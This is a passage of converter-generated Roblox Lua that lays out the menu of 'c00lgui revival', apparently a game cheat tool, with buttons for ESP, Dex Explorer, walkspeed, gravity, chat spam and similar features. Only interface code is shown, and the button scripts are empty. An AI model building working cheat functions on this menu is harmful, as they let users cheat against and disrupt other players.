G2L["c5"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c5"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["c5"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["c5"]["Name"] = [[button]];
G2L["c5"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["c5"]["Text"] = [[ReplicationUI]];
G2L["c5"]["Position"] = UDim2.new(0.52, 0, 0.699, 0);
-- StarterGui.CoolGui.main.page5.fes.button.LocalScript
G2L["c6"] = Instance.new("LocalScript", G2L["c5"]);
-- StarterGui.CoolGui.main.page5.pgname
G2L["c7"] = Instance.new("TextLabel", G2L["92"]);
G2L["c7"]["ZIndex"] = 3;
G2L["c7"]["BorderSizePixel"] = 3;
G2L["c7"]["TextSize"] = 19;
G2L["c7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c7"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["c7"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c7"]["Size"] = UDim2.new(0, 300, 0, 40);
G2L["c7"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["c7"]["Text"] = [[Page 5]];
G2L["c7"]["LayoutOrder"] = 3;
G2L["c7"]["Name"] = [[pgname]];
G2L["c7"]["Position"] = UDim2.new(0, 0, 1, -47);
-- StarterGui.CoolGui.main.page3
G2L["c8"] = Instance.new("Frame", G2L["4"]);
G2L["c8"]["Visible"] = false;
G2L["c8"]["BorderSizePixel"] = 3;
G2L["c8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c8"]["Size"] = UDim2.new(0, 298, 0, 306);
G2L["c8"]["Position"] = UDim2.new(0, 0, 0.1825, 0);
G2L["c8"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["c8"]["Name"] = [[page3]];
G2L["c8"]["BackgroundTransparency"] = 0.5;
-- [ERROR] cannot convert SelectionImageObject, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
-- StarterGui.CoolGui.main.page3.misc
G2L["c9"] = Instance.new("Frame", G2L["c8"]);
G2L["c9"]["BorderSizePixel"] = 3;
G2L["c9"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c9"]["Size"] = UDim2.new(0, 149, 0, 306);
G2L["c9"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["c9"]["Name"] = [[misc]];
-- StarterGui.CoolGui.main.page3.misc.sectitle
G2L["ca"] = Instance.new("TextLabel", G2L["c9"]);
G2L["ca"]["BorderSizePixel"] = 3;
G2L["ca"]["TextSize"] = 14;
G2L["ca"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["ca"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["ca"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ca"]["Size"] = UDim2.new(0, 149, 0, 30);
G2L["ca"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["ca"]["Text"] = [[Misc.]];
G2L["ca"]["Name"] = [[sectitle]];
-- StarterGui.CoolGui.main.page3.misc.button
G2L["cb"] = Instance.new("TextButton", G2L["c9"]);
G2L["cb"]["BorderSizePixel"] = 3;
G2L["cb"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["cb"]["TextSize"] = 14;
G2L["cb"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["cb"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["cb"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["cb"]["Name"] = [[button]];
G2L["cb"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["cb"]["Text"] = [[Owner ID]];
G2L["cb"]["Position"] = UDim2.new(0, 0, 0.099, 0);
-- StarterGui.CoolGui.main.page3.misc.button.LocalScript
G2L["cc"] = Instance.new("LocalScript", G2L["cb"]);
-- StarterGui.CoolGui.main.page3.misc.button
G2L["cd"] = Instance.new("TextButton", G2L["c9"]);
G2L["cd"]["BorderSizePixel"] = 3;
G2L["cd"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["cd"]["TextSize"] = 14;
G2L["cd"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["cd"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["cd"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["cd"]["Name"] = [[button]];
G2L["cd"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["cd"]["Text"] = [[Dex Explorer]];
G2L["cd"]["Position"] = UDim2.new(0.519, 0, 0.099, 0);
-- StarterGui.CoolGui.main.page3.misc.button.LocalScript
G2L["ce"] = Instance.new("LocalScript", G2L["cd"]);
-- StarterGui.CoolGui.main.page3.misc.button
G2L["cf"] = Instance.new("TextButton", G2L["c9"]);
G2L["cf"]["BorderSizePixel"] = 3;
G2L["cf"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["cf"]["TextSize"] = 14;
G2L["cf"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["cf"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["cf"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["cf"]["Name"] = [[button]];
G2L["cf"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["cf"]["Text"] = [[Discord Invite]];
G2L["cf"]["Position"] = UDim2.new(0.519, 0, 0.199, 0);
-- StarterGui.CoolGui.main.page3.misc.button.LocalScript
G2L["d0"] = Instance.new("LocalScript", G2L["cf"]);
-- StarterGui.CoolGui.main.page3.misc.button
G2L["d1"] = Instance.new("TextButton", G2L["c9"]);
G2L["d1"]["BorderSizePixel"] = 3;
G2L["d1"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d1"]["TextSize"] = 14;
G2L["d1"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d1"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d1"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["d1"]["Name"] = [[button]];
G2L["d1"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["d1"]["Text"] = [[UFO (iOrb)]];
G2L["d1"]["Position"] = UDim2.new(0, 0, 0.299, 0);
-- StarterGui.CoolGui.main.page3.misc.button.LocalScript
G2L["d2"] = Instance.new("LocalScript", G2L["d1"]);
-- StarterGui.CoolGui.main.page3.misc.button
G2L["d3"] = Instance.new("TextButton", G2L["c9"]);
G2L["d3"]["BorderSizePixel"] = 3;
G2L["d3"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d3"]["TextSize"] = 14;
G2L["d3"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d3"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d3"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["d3"]["Name"] = [[button]];
G2L["d3"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["d3"]["Text"] = [[Destroy GUI]];
G2L["d3"]["Position"] = UDim2.new(0, 0, 0.19935, 0);
-- StarterGui.CoolGui.main.page3.misc.button.LocalScript
G2L["d4"] = Instance.new("LocalScript", G2L["d3"]);
-- StarterGui.CoolGui.main.page3.misc.button
G2L["d5"] = Instance.new("TextButton", G2L["c9"]);
G2L["d5"]["BorderSizePixel"] = 3;
G2L["d5"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d5"]["TextSize"] = 14;
G2L["d5"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d5"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d5"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["d5"]["Name"] = [[button]];
G2L["d5"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["d5"]["Text"] = [[ESP]];
G2L["d5"]["Position"] = UDim2.new(0.519, 0, 0.299, 0);
-- StarterGui.CoolGui.main.page3.misc.button.LocalScript
G2L["d6"] = Instance.new("LocalScript", G2L["d5"]);
-- StarterGui.CoolGui.main.page3.lp
G2L["d7"] = Instance.new("Frame", G2L["c8"]);
G2L["d7"]["BorderSizePixel"] = 3;
G2L["d7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d7"]["Size"] = UDim2.new(0, 149, 0, 306);
G2L["d7"]["Position"] = UDim2.new(0.5, 0, 0, 0);
G2L["d7"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["d7"]["Name"] = [[lp]];
-- StarterGui.CoolGui.main.page3.lp.sectitle
G2L["d8"] = Instance.new("TextLabel", G2L["d7"]);
G2L["d8"]["BorderSizePixel"] = 3;
G2L["d8"]["TextSize"] = 14;
G2L["d8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d8"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["d8"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d8"]["Size"] = UDim2.new(0, 149, 0, 30);
G2L["d8"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["d8"]["Text"] = [[LocalPlayer]];
G2L["d8"]["Name"] = [[sectitle]];
-- StarterGui.CoolGui.main.page3.lp.button
G2L["d9"] = Instance.new("TextButton", G2L["d7"]);
G2L["d9"]["TextWrapped"] = true;
G2L["d9"]["BorderSizePixel"] = 3;
G2L["d9"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d9"]["TextSize"] = 14;
G2L["d9"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d9"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d9"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["d9"]["Name"] = [[button]];
G2L["d9"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["d9"]["Text"] = [[Billboard Gui]];
G2L["d9"]["Position"] = UDim2.new(0, 0, 0.099, 0);
-- StarterGui.CoolGui.main.page3.lp.button.LocalScript
G2L["da"] = Instance.new("LocalScript", G2L["d9"]);
-- StarterGui.CoolGui.main.page3.lp.button
G2L["db"] = Instance.new("TextButton", G2L["d7"]);
G2L["db"]["BorderSizePixel"] = 3;
G2L["db"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["db"]["TextSize"] = 14;
G2L["db"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["db"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["db"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["db"]["Name"] = [[button]];
G2L["db"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["db"]["Text"] = [[Change Name]];
G2L["db"]["Position"] = UDim2.new(0.52, 0, 0.099, 0);
-- StarterGui.CoolGui.main.page3.lp.button.LocalScript
G2L["dc"] = Instance.new("LocalScript", G2L["db"]);
-- StarterGui.CoolGui.main.page3.lp.button
G2L["dd"] = Instance.new("TextButton", G2L["d7"]);
G2L["dd"]["BorderSizePixel"] = 3;
G2L["dd"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["dd"]["TextSize"] = 14;
G2L["dd"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["dd"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["dd"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["dd"]["Name"] = [[button]];
G2L["dd"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["dd"]["Text"] = [[Set Walkspeed]];
G2L["dd"]["Position"] = UDim2.new(0, 0, 0.19935, 0);
-- StarterGui.CoolGui.main.page3.lp.button.LocalScript
G2L["de"] = Instance.new("LocalScript", G2L["dd"]);
-- StarterGui.CoolGui.main.page3.lp.button
G2L["df"] = Instance.new("TextButton", G2L["d7"]);
G2L["df"]["BorderSizePixel"] = 3;
G2L["df"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["df"]["TextSize"] = 14;
G2L["df"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["df"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["df"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["df"]["Name"] = [[button]];
G2L["df"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["df"]["Text"] = [[Floating Pad]];
G2L["df"]["Position"] = UDim2.new(0.52, 0, 0.199, 0);
-- StarterGui.CoolGui.main.page3.lp.button.LocalScript
G2L["e0"] = Instance.new("LocalScript", G2L["df"]);
-- StarterGui.CoolGui.main.page3.lp.button
G2L["e1"] = Instance.new("TextButton", G2L["d7"]);
G2L["e1"]["BorderSizePixel"] = 3;
G2L["e1"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e1"]["TextSize"] = 14;
G2L["e1"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e1"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e1"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["e1"]["Name"] = [[button]];
G2L["e1"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["e1"]["Text"] = [[Set Platform]];
G2L["e1"]["Position"] = UDim2.new(0, 0, 0.299, 0);
-- StarterGui.CoolGui.main.page3.lp.button.LocalScript
G2L["e2"] = Instance.new("LocalScript", G2L["e1"]);
-- StarterGui.CoolGui.main.page3.lp.button
G2L["e3"] = Instance.new("TextButton", G2L["d7"]);
G2L["e3"]["BorderSizePixel"] = 3;
G2L["e3"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e3"]["TextSize"] = 14;
G2L["e3"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e3"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e3"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["e3"]["Name"] = [[button]];
G2L["e3"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["e3"]["Text"] = [[Spam Text]];
G2L["e3"]["Position"] = UDim2.new(0.52, 0, 0.299, 0);
-- StarterGui.CoolGui.main.page3.lp.button.LocalScript
G2L["e4"] = Instance.new("LocalScript", G2L["e3"]);
-- StarterGui.CoolGui.main.page3.lp.button
G2L["e5"] = Instance.new("TextButton", G2L["d7"]);
G2L["e5"]["BorderSizePixel"] = 3;
G2L["e5"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e5"]["TextSize"] = 14;
G2L["e5"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e5"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e5"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["e5"]["Name"] = [[button]];
G2L["e5"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["e5"]["Text"] = [[Chicken Arms]];
G2L["e5"]["Position"] = UDim2.new(0, 0, 0.39869, 0);
-- StarterGui.CoolGui.main.page3.lp.button.LocalScript
G2L["e6"] = Instance.new("LocalScript", G2L["e5"]);
-- StarterGui.CoolGui.main.page3.lp.button
G2L["e7"] = Instance.new("TextButton", G2L["d7"]);
G2L["e7"]["BorderSizePixel"] = 3;
G2L["e7"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e7"]["TextSize"] = 14;
G2L["e7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e7"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e7"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["e7"]["Name"] = [[button]];
G2L["e7"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["e7"]["Text"] = [[Set Gravity]];
G2L["e7"]["Position"] = UDim2.new(0.52, 0, 0.399, 0);
-- StarterGui.CoolGui.main.page3.lp.button.LocalScript
G2L["e8"] = Instance.new("LocalScript", G2L["e7"]);
-- StarterGui.CoolGui.main.page3.lp.button
G2L["e9"] = Instance.new("TextButton", G2L["d7"]);
G2L["e9"]["BorderSizePixel"] = 3;
G2L["e9"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e9"]["TextSize"] = 14;
G2L["e9"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e9"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e9"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["e9"]["Name"] = [[button]];
G2L["e9"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["e9"]["Text"] = [[Set Jump]];
G2L["e9"]["Position"] = UDim2.new(0, 0, 0.599, 0);
-- StarterGui.CoolGui.main.page3.lp.button.LocalScript
G2L["ea"] = Instance.new("LocalScript", G2L["e9"]);
-- StarterGui.CoolGui.main.page3.lp.button
G2L["eb"] = Instance.new("TextButton", G2L["d7"]);
G2L["eb"]["BorderSizePixel"] = 3;
G2L["eb"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["eb"]["TextSize"] = 14;
G2L["eb"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["eb"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["eb"]["ZIndex"] = 2;
G2L["eb"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["eb"]["Name"] = [[button]];
G2L["eb"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["eb"]["Text"] = [[Head Shake]];
G2L["eb"]["Position"] = UDim2.new(0.52, 0, 0.599, 0);
-- StarterGui.CoolGui.main.page3.lp.button.LocalScript
G2L["ec"] = Instance.new("LocalScript", G2L["eb"]);
-- StarterGui.CoolGui.main.page3.lp.button
G2L["ed"] = Instance.new("TextButton", G2L["d7"]);
G2L["ed"]["BorderSizePixel"] = 3;
G2L["ed"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ed"]["TextSize"] = 14;
G2L["ed"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["ed"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["ed"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["ed"]["Name"] = [[button]];
G2L["ed"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["ed"]["Text"] = [[Disco Body]];
G2L["ed"]["Position"] = UDim2.new(0, 0, 0.499, 0);
-- StarterGui.CoolGui.main.page3.lp.button.LocalScript
G2L["ee"] = Instance.new("LocalScript", G2L["ed"]);
-- StarterGui.CoolGui.main.page3.lp.button
G2L["ef"] = Instance.new("TextButton", G2L["d7"]);
G2L["ef"]["BorderSizePixel"] = 3;
G2L["ef"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ef"]["TextSize"] = 14;
G2L["ef"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["ef"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["ef"]["ZIndex"] = 2;
G2L["ef"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["ef"]["Name"] = [[button]];
G2L["ef"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["ef"]["Text"] = [[R15 -> R6]];
G2L["ef"]["Position"] = UDim2.new(0.52, 0, 0.499, 0);
-- StarterGui.CoolGui.main.page3.lp.button.LocalScript
G2L["f0"] = Instance.new("LocalScript", G2L["ef"]);
-- StarterGui.CoolGui.main.page3.pgname
G2L["f1"] = Instance.new("TextLabel", G2L["c8"]);
G2L["f1"]["ZIndex"] = 3;
G2L["f1"]["BorderSizePixel"] = 3;
G2L["f1"]["TextSize"] = 19;
G2L["f1"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f1"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["f1"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f1"]["Size"] = UDim2.new(0, 300, 0, 40);
G2L["f1"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["f1"]["Text"] = [[Page 3]];
G2L["f1"]["LayoutOrder"] = 3;
G2L["f1"]["Name"] = [[pgname]];
G2L["f1"]["Position"] = UDim2.new(0, 0, 1, -47);
-- StarterGui.CoolGui.main.page6
G2L["f2"] = Instance.new("Frame", G2L["4"]);
G2L["f2"]["Visible"] = false;
G2L["f2"]["BorderSizePixel"] = 3;
G2L["f2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f2"]["Size"] = UDim2.new(0, 298, 0, 306);
G2L["f2"]["Position"] = UDim2.new(0, 0, 0.1825, 0);
G2L["f2"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["f2"]["Name"] = [[page6]];
-- StarterGui.CoolGui.main.page6.creds
G2L["f3"] = Instance.new("Frame", G2L["f2"]);
G2L["f3"]["BorderSizePixel"] = 3;
G2L["f3"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f3"]["Size"] = UDim2.new(0, 298, 0, 306);
G2L["f3"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["f3"]["Name"] = [[creds]];
-- StarterGui.CoolGui.main.page6.creds.credits
G2L["f4"] = Instance.new("TextLabel", G2L["f3"]);
G2L["f4"]["TextWrapped"] = true;
G2L["f4"]["BorderSizePixel"] = 3;
G2L["f4"]["TextSize"] = 24;
G2L["f4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f4"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f4"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f4"]["Size"] = UDim2.new(0, 298, 0, 306);
G2L["f4"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["f4"]["Text"] = [[thanks for using c00lgui revival!
want to give suggestions?
DM Hyperion!
discord.gg/KkhpkGJdCp
#teamc00lkiddforever]];
G2L["f4"]["Name"] = [[credits]];
-- StarterGui.CoolGui.main.page6.pgname
G2L["f5"] = Instance.new("TextLabel", G2L["f2"]);
G2L["f5"]["ZIndex"] = 3;
G2L["f5"]["BorderSizePixel"] = 3;
G2L["f5"]["TextSize"] = 19;
G2L["f5"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f5"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["f5"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f5"]["Size"] = UDim2.new(0, 300, 0, 40);
G2L["f5"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["f5"]["Text"] = [[Page 6]];
G2L["f5"]["LayoutOrder"] = 3;
G2L["f5"]["Name"] = [[pgname]];
G2L["f5"]["Position"] = UDim2.new(0, 0, 1, -47);
-- StarterGui.CoolGui.settings
G2L["f6"] = Instance.new("Frame", G2L["1"]);
G2L["f6"]["BorderSizePixel"] = 3;
G2L["f6"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f6"]["Size"] = UDim2.new(0, 300, 0, 400);
G2L["f6"]["Position"] = UDim2.new(0, 300, 0.295, 0);
G2L["f6"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["f6"]["Name"] = [[settings]];
-- StarterGui.CoolGui.settings.titles
G2L["f7"] = Instance.new("TextLabel", G2L["f6"]);
G2L["f7"]["BorderSizePixel"] = 3;
G2L["f7"]["TextSize"] = 24;
G2L["f7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f7"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f7"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f7"]["Size"] = UDim2.new(0, 300, 0, 40);
G2L["f7"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["f7"]["Text"] = [[Settings]];
G2L["f7"]["LayoutOrder"] = 3;
G2L["f7"]["Name"] = [[titles]];
-- StarterGui.CoolGui.settings.smain
G2L["f8"] = Instance.new("Frame", G2L["f6"]);
G2L["f8"]["BorderSizePixel"] = 3;
G2L["f8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f8"]["Size"] = UDim2.new(0, 298, 0, 359);
G2L["f8"]["Position"] = UDim2.new(0.00333, 0, 0.1, 0);
G2L["f8"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["f8"]["Name"] = [[smain]];
-- StarterGui.CoolGui.settings.smain.sdidlabel
G2L["f9"] = Instance.new("TextLabel", G2L["f8"]);
G2L["f9"]["ZIndex"] = 3;
G2L["f9"]["BorderSizePixel"] = 3;
G2L["f9"]["TextSize"] = 14;
G2L["f9"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f9"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["f9"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f9"]["Size"] = UDim2.new(0, 149, 0, 33);
G2L["f9"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["f9"]["Text"] = [[Skybox/Decal ID]];
G2L["f9"]["Name"] = [[sdidlabel]];
-- StarterGui.CoolGui.settings.smain.bgtlabel
G2L["fa"] = Instance.new("TextLabel", G2L["f8"]);
G2L["fa"]["ZIndex"] = 3;
G2L["fa"]["BorderSizePixel"] = 3;
G2L["fa"]["TextSize"] = 14;
G2L["fa"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["fa"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["fa"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["fa"]["Size"] = UDim2.new(0, 149, 0, 33);
G2L["fa"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["fa"]["Text"] = [[Billboard Gui Text]];
G2L["fa"]["Name"] = [[bgtlabel]];
G2L["fa"]["Position"] = UDim2.new(0.5, 0, 0, 0);
-- StarterGui.CoolGui.settings.smain.sdid
G2L["fb"] = Instance.new("TextBox", G2L["f8"]);
G2L["fb"]["Name"] = [[sdid]];
G2L["fb"]["ZIndex"] = 3;
G2L["fb"]["BorderSizePixel"] = 3;
G2L["fb"]["TextWrapped"] = true;
G2L["fb"]["TextSize"] = 14;
G2L["fb"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["fb"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["fb"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["fb"]["Size"] = UDim2.new(0, 149, 0, 28);
G2L["fb"]["Position"] = UDim2.new(0, 0, 0.09192, 0);
G2L["fb"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["fb"]["Text"] = [[15475953475]];
-- StarterGui.CoolGui.settings.smain.bgt
G2L["fc"] = Instance.new("TextBox", G2L["f8"]);
G2L["fc"]["Name"] = [[bgt]];
G2L["fc"]["ZIndex"] = 3;
G2L["fc"]["BorderSizePixel"] = 3;
G2L["fc"]["TextWrapped"] = true;
G2L["fc"]["TextSize"] = 14;
G2L["fc"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["fc"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["fc"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["fc"]["Size"] = UDim2.new(0, 149, 0, 28);
G2L["fc"]["Position"] = UDim2.new(0.5, 0, 0.09192, 0);
G2L["fc"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["fc"]["Text"] = [[c00lkidd]];
-- StarterGui.CoolGui.settings.smain.swsjhlabel
G2L["fd"] = Instance.new("TextLabel", G2L["f8"]);
